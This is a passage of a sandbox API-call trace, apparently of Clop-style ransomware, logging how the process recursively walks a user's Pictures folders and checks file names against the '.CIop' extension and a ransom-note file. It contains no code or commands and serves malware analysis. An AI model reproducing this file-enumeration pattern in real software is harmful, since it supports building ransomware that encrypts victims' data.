lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB" [0128.287] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\" [0128.287] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\", lpString2="7Luf9iKqys 6" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6" [0128.287] SetErrorMode (uMode=0x1) returned 0x1 [0128.287] lstrcpyW (in: lpString1=0x2dbe0e0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6" [0128.287] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\" [0128.287] lstrcpyW (in: lpString1=0x2dbdcd0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\" [0128.287] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\*.*" [0128.287] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\*.*", lpFindFileData=0x2dbd260 | out: lpFindFileData=0x2dbd260) returned 0x67ddf8 [0128.287] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6") returned="7Luf9iKqys 6" [0128.287] lstrcpyW (in: lpString1=0x2dbc6c4, lpString2="7Luf9iKqys 6" | out: lpString1="7Luf9iKqys 6") returned="7Luf9iKqys 6" [0128.287] FindNextFileW (in: hFindFile=0x67ddf8, lpFindFileData=0x2dbd260 | out: lpFindFileData=0x2dbd260) returned 1 [0128.287] FindNextFileW (in: hFindFile=0x67ddf8, lpFindFileData=0x2dbd260 | out: lpFindFileData=0x2dbd260) returned 1 [0128.287] lstrcmpW (lpString1="0eBemC7.bmp.CIop", lpString2="..") returned 1 [0128.287] lstrcmpW (lpString1="0eBemC7.bmp.CIop", lpString2=".") returned 1 [0128.287] lstrlenW (lpString=".CIop") returned 5 [0128.287] FindNextFileW (in: hFindFile=0x67ddf8, lpFindFileData=0x2dbd260 | out: lpFindFileData=0x2dbd260) returned 1 [0128.287] lstrcmpW (lpString1="lMwuMumsTcOMWQg.bmp.CIop", lpString2="..") returned 1 [0128.287] lstrcmpW (lpString1="lMwuMumsTcOMWQg.bmp.CIop", lpString2=".") returned 1 [0128.287] lstrlenW (lpString=".CIop") returned 5 [0128.287] FindNextFileW (in: hFindFile=0x67ddf8, lpFindFileData=0x2dbd260 | out: lpFindFileData=0x2dbd260) returned 0 [0128.287] FindClose (in: hFindFile=0x67ddf8 | out: hFindFile=0x67ddf8) returned 1 [0128.288] FindClose (in: hFindFile=0x67ddf8 | out: hFindFile=0x67ddf8) returned 0 [0128.288] lstrcpyW (in: lpString1=0x2dbe0e0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6" [0128.288] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\*.*" [0128.288] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\*.*", lpFindFileData=0x2dbd260 | out: lpFindFileData=0x2dbd260) returned 0x67db78 [0128.288] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6") returned="7Luf9iKqys 6" [0128.288] lstrcpyW (in: lpString1=0x2dbc6c4, lpString2="7Luf9iKqys 6" | out: lpString1="7Luf9iKqys 6") returned="7Luf9iKqys 6" [0128.288] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dbd260 | out: lpFindFileData=0x2dbd260) returned 1 [0128.288] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0128.288] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dbd260 | out: lpFindFileData=0x2dbd260) returned 1 [0128.288] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dbd260 | out: lpFindFileData=0x2dbd260) returned 1 [0128.288] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dbd260 | out: lpFindFileData=0x2dbd260) returned 0 [0128.288] FindClose (in: hFindFile=0x67db78 | out: hFindFile=0x67db78) returned 1 [0128.288] FindClose (in: hFindFile=0x67db78 | out: hFindFile=0x67db78) returned 0 [0128.288] FindNextFileW (in: hFindFile=0x67e0f8, lpFindFileData=0x2dbee98 | out: lpFindFileData=0x2dbee98) returned 1 [0128.288] FindNextFileW (in: hFindFile=0x67e0f8, lpFindFileData=0x2dbee98 | out: lpFindFileData=0x2dbee98) returned 1 [0128.288] FindNextFileW (in: hFindFile=0x67e0f8, lpFindFileData=0x2dbee98 | out: lpFindFileData=0x2dbee98) returned 0 [0128.288] FindClose (in: hFindFile=0x67e0f8 | out: hFindFile=0x67e0f8) returned 1 [0128.288] FindClose (in: hFindFile=0x67e0f8 | out: hFindFile=0x67e0f8) returned 0 [0128.288] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 1 [0128.288] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 0 [0128.289] FindClose (in: hFindFile=0x67dfb8 | out: hFindFile=0x67dfb8) returned 1 [0128.289] FindClose (in: hFindFile=0x67dfb8 | out: hFindFile=0x67dfb8) returned 0 [0128.289] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0 [0128.289] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 1 [0128.289] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 0 [0128.289] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0128.289] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0128.289] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0 [0128.289] FindClose (in: hFindFile=0x67dd78 | out: hFindFile=0x67dd78) returned 1 [0128.289] FindClose (in: hFindFile=0x67dd78 | out: hFindFile=0x67dd78) returned 0 [0128.289] FindNextFileW (in: hFindFile=0x67ddb8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0 [0128.289] FindClose (in: hFindFile=0x67ddb8 | out: hFindFile=0x67ddb8) returned 1 [0128.289] FindClose (in: hFindFile=0x67ddb8 | out: hFindFile=0x67ddb8) returned 0 [0128.289] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.289] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0128.289] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 1 [0128.290] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 0 [0128.290] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.290] lstrcmpW (lpString1="bLdID5XJzq jCM", lpString2="..") returned 1 [0128.290] lstrcmpW (lpString1="bLdID5XJzq jCM", lpString2=".") returned 1 [0128.290] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures" [0128.290] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\" [0128.290] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\", lpString2="bLdID5XJzq jCM" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM" [0128.290] SetErrorMode (uMode=0x1) returned 0x1 [0128.290] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM" [0128.290] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM\\" [0128.290] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM\\" [0128.290] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM\\*.*" [0128.290] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e478 [0128.290] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM") returned="bLdID5XJzq jCM" [0128.290] lstrcpyW (in: lpString1=0x2dc7014, lpString2="bLdID5XJzq jCM" | out: lpString1="bLdID5XJzq jCM") returned="bLdID5XJzq jCM" [0128.290] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.290] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.290] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0128.290] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0128.290] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0128.290] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.290] lstrcmpW (lpString1="IwWqYwDX1-Oo2.gif.CIop", lpString2="..") returned 1 [0128.290] lstrcmpW (lpString1="IwWqYwDX1-Oo2.gif.CIop", lpString2=".") returned 1 [0128.290] lstrlenW (lpString=".CIop") returned 5 [0128.290] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0128.290] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 1 [0128.290] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 0 [0128.290] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM" [0128.291] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM\\*.*" [0128.291] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e478 [0128.291] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM") returned="bLdID5XJzq jCM" [0128.291] lstrcpyW (in: lpString1=0x2dc7014, lpString2="bLdID5XJzq jCM" | out: lpString1="bLdID5XJzq jCM") returned="bLdID5XJzq jCM" [0128.291] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.291] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0128.291] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.291] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.291] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0128.291] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 1 [0128.291] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 0 [0128.291] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.291] lstrcmpW (lpString1="Camera Roll", lpString2="..") returned 1 [0128.291] lstrcmpW (lpString1="Camera Roll", lpString2=".") returned 1 [0128.291] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures" [0128.291] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\" [0128.291] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\", lpString2="Camera Roll" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll" [0128.291] SetErrorMode (uMode=0x1) returned 0x1 [0128.291] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll" [0128.291] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\" [0128.291] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\" [0128.291] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\*.*" [0128.291] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e478 [0128.291] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll") returned="Camera Roll" [0128.291] lstrcpyW (in: lpString1=0x2dc7014, lpString2="Camera Roll" | out: lpString1="Camera Roll") returned="Camera Roll" [0128.291] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.291] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.291] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0128.291] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0128.292] lstrlenW (lpString="desktop.ini") returned 11 [0128.292] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0128.292] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 1 [0128.292] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 0 [0128.292] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll" [0128.292] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\*.*" [0128.292] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e478 [0128.292] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll") returned="Camera Roll" [0128.292] lstrcpyW (in: lpString1=0x2dc7014, lpString2="Camera Roll" | out: lpString1="Camera Roll") returned="Camera Roll" [0128.292] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.292] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0128.292] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.292] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0128.292] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 1 [0128.292] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 0 [0128.292] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.292] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.292] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.292] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.292] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.292] lstrcmpW (lpString1="Saved Pictures", lpString2="..") returned 1 [0128.292] lstrcmpW (lpString1="Saved Pictures", lpString2=".") returned 1 [0128.292] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures" [0128.292] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\" [0128.292] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\", lpString2="Saved Pictures" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures" [0128.292] SetErrorMode (uMode=0x1) returned 0x1 [0128.292] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures" [0128.292] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\" [0128.293] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\" [0128.293] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\*.*" [0128.293] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e478 [0128.293] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures") returned="Saved Pictures" [0128.293] lstrcpyW (in: lpString1=0x2dc7014, lpString2="Saved Pictures" | out: lpString1="Saved Pictures") returned="Saved Pictures" [0128.293] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.293] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.293] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0128.293] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0128.293] lstrlenW (lpString="desktop.ini") returned 11 [0128.293] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0128.293] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 1 [0128.293] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 0 [0128.293] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures" [0128.293] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures", lpString2="\\*.*" | out: 